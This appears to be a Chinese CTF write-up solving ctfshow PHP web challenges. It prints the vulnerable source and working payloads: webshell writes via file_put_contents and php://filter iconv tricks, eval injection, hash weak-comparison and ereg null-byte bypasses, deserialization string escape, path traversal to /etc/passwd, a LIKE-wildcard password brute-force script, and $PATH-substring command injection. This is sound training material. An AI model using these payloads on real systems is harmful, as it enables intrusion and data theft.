array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>

in_arry函数:

1
2
3
4
5
6
<?php
$allow1 = array(10,20);
var_dump(in_array('10.php',$allow1)); // bool(true)
$allow2 = array('a','b');
var_dump(in_array(0,$allow2)); // bool(true)
?>

payload:

1
2
3
?n=10.php
POST:
content=<?php system('cat *');?>

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

注意点:

1
is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

当v1满足条件and后面的is_numberic判断可忽略

直接getshell:

1
?v1=1&v2=?><?php system('cat *')?>&v3=;

或者获取类中的属性也行

1
?v1=1&v2=var_dump(get_class_vars&v3=);

md 不知道为啥提交flag不对 需要把0x2d替换成-

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

利用反射API获取类信息

1
?v1=1&v2=echo(new ReflectionClass(&v3=));

web102

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>

web103

web104

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>

数组绕过

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

可变变量

1
2
3
?suces=flag
POST:
error=suces

或者:

1
2
3
?suces=flag&flag=1
POST:
flag=

web106

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>

数组绕过:

1
2
3
?v2[]=
POST:
v1[]=1

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>

md5弱比较 payload:

1
2
3
?v3=byGcY
POST:
v1=%66%6c%61%67%3d%30%65%31%30

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

ereg 00截断 payload:

1
?c=a%00778

web109

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}
?>

web110

1

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}

?>

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file函数可以用伪协议绕:

1
2
3
4
<?php
var_dump(is_file('test.php')); // bool(true)
var_dump(is_file('php://filter/convert.base64-encode/resource=test.php')); // bool(false)
var_dump(is_file('file:///flag')); // bool(true)

换个伪协议的编码器就行:

1
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

解码只需复制flag那行就行

1
2
3
<?php
$a = 'f$al=gf"al{g591c2251e-ef-e944ca-46-efa83225e27a6"}';
echo iconv("UCS-2BE","UCS-2LE",$a);

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

还是继续用伪协议的思路 发现下面可以用

1
?file=compress.zlib://flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

web116

web117

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

用其他的编码器即可绕过

1
2
3
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST[1]);?>')."\n";
echo iconv("UCS-2BE","UCS-2LE",'<?php die();?>?<hp pvela$(P_SO[T]1;)>?');

payload:

1
2
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
POST: contents=?<hp phpipfn(o;)>?

月饼杯

web1_此夜圆

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符逃逸,由于是变长,因此必须添加"把前面的闭合了,判断需添加的字符串:

1
";s:8:"password";s:5:"yu22x";}

列方程:

1
2
3
11n = 9n+ 30 +k

// n=15 k=0

构造payload:

1
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}

第一关试就完事了,猜测是精度问题,后来才知道php小数点后超过161位做平方运算时会被截断,但是超过323位又会失效。用科学计数法来代替,即 1e-162 到 1e-323

1
a=1e-300

第二关md2弱比较,写脚本跑吧,robots里有提示

1
2
xxxxx024452    hash("md2",$b)
xxxxxx48399 hash("md2",hash("md2",$b))

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Hash import MD2
def md2(s):
obj = MD2.new()
obj.update(s.encode())
return obj.hexdigest()

def check(id):
# print(id)
d ='0e'+str(id)+'48399'
enc=md2(md2(d))
if enc[0:2]=='0e' and enc[2:-1].isdigit():
print(d)
return 1
return 0

for i in range(1000,9999):
check(i)

跑出来

1
b = 0e652024452   c = 0e603448399

最后一关,php会将不认识的协议当作目录,payload:

1
2
?a=1e-300&b=0e652024452&c=0e603448399
POST: url=a://ctfshow.com/../../../../../../etc/passwd

需要跳5层 a一层 ctfshow.com一层

web3_莫负婵娟

查看源码发现:

1
2
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

fuzz一下,发现过滤了:

1
' # \ %

都过滤了,闭合sql语句注入应该不行了,再看下发现比较时是like,想到sql通配符

1
2
3
%:用来表示任意多个字符,可以为0

_ : 用来表示任意单个字符

发现当有32个_时状态改变了

我们可以写个脚本跑下密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

s = string.ascii_lowercase + string.ascii_uppercase + string.digits
flag = ''
url = 'http://04c9162c-4824-4247-8d26-743472a723a6.chall.ctf.show/login.php'
for i in range(1,100):
f = flag
for j in s:
print(i,j)
p = flag+j+(32-i)*'_'
data = {'username':'yu22x','password':p}
r = requests.post(url, data=data)
if 'wrong' not in r.text:
flag+=j
print(flag)
break
if flag== f:
break
print(flag)

# 67815b0c009ee970fe4014abaa3Fa6A0

注意最后一位跑出来的时候会登录成功,状态不一样

登陆进去发现是个curl的功能,猜测是命令注入,fuzz一下 过滤了

1
小写字母 | () / \ ` * , < > !

但是 这些没过滤

1
? $ { } :

大写字母没过滤,而一些linux的常量都是大写字母,如:

1
2
3
$PATH  linux环境变量
$HOME 用户主目录
$PWD 当前路径

可以直接带出这变量

1
ip=1.1.1.1:9000?$PATH

然后截取拼接就行

1
ip=127.0.0.1;${PATH:7:1}${PATH:8:1}${HOME:12:1} ????.???

评论